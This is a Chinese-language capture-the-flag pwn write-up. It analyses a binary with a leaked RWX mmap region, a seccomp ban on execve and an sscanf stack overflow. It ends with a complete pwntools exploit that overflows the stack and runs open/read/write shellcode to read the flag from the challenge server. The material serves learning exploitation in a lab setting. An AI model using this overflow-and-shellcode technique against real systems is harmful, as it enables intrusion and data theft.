还是先查一下程序保护情况
然后看一下代码逻辑
可以发现这里的代码还是挺多的,这里讲一下几个关键部分,首先是开头的addr = (__int64)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);将addr这个地址开始的地方变成rwx权限,我们看一下这个地址是哪里
发现addr位于bss段中,接着看一下menu函数
这是个菜单的选择,我们进去1看看
前面一大串文字都没用,主要就是这里泄露了addr的地址,然后看一下3
这是泄露了sc_s函数的地址,我们点进去sc_s函数看看
这里可以往addr地址写东西,本想写入system的shellcode,但是沙盒禁用了execve函数(可以用seccomp-tools dump查看),最后这个函数会跳转到addr去
那只能考虑一下用orw了,接着看5
这里的__isoc99_sscanf(buf, "%[^.].%[^.].%[^.].%[^.]", &v2, &v3, &v4, &v5);
这段代码使用了 __isoc99_sscanf
函数来解析字符串 buf
,按照特定格式分割成四个部分,并将每个部分的值存储在相应的变量中。
函数原型为:
c
int __isoc99_sscanf(const char *restrict str, const char *restrict format, ...);
其中,第一个参数 str
是待解析的字符串,第二个参数 format
是格式字符串,后面的参数为待存储解析结果的变量。在这段代码中,解析格式为 "%[^.].%[^.].%[^.].%[^.]"
,具体解析步骤如下:
%[^.]
表示读取除了点号(.)之外的任意字符序列,这里用于读取四个由点号分隔的部分。.
表示匹配一个点号字符,用于分隔每个部分。
按照给定的格式,__isoc99_sscanf
函数会解析 buf
中的内容,并将解析结果存储在相应的变量中。根据代码中的参数,可以假设变量 v2
、v3
、v4
和 v5
分别是用来存储四个部分的结果。
简单说就是按照.来分割读入四个字符串到四个变量中,这里的v5距离rbp偏移是0x80,我们可以利用这个栈溢出漏洞,控制程序到上面的sc_s函数去,这样子程序的利用过程就很明显了
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("node4.anna.nssctf.cn",28907)
io.sendlineafter(b'>> ',str(1))
io.recvuntil(b"never spent in ")
addr=int(io.recv(14),16) #具有rwx权限地址
io.sendlineafter(b">> ",str(3))
io.recvuntil(b"seems to be ")
fun_addr=int(io.recv(14),16)
io.sendlineafter(b">> ",str(5))
io.recvuntil(b"input something:\n")
payload=b"1.1.1."+b'a'*0x88+p64(fun_addr)
io.send(payload)
io.recvuntil(b"deep dork fantasy:\n")
new_addr=addr+0x200
shellcode=shellcraft.open("./flag")
shellcode+=shellcraft.read(3,new_addr,0x50)
shellcode+=shellcraft.write(1,new_addr,0x50)
shellcode=asm(shellcode)
io.send(shellcode)
io.interactive()